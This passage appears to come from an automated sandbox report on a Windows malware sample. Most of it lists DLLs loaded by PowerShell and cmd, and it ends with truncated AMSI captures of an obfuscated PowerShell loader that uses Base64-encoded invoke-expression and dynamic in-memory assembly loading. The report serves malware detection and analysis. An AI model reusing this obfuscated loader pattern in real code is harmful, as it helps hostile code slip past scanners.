                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                        Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                        Source: Window RecorderWindow detected: More than 3 window changes detected
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior

                        Data Obfuscation

                        barindex
                        Found suspicious powershell code related to unpacking or dynamic code loading
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dW
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('SysQD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('SysQM', $false). De
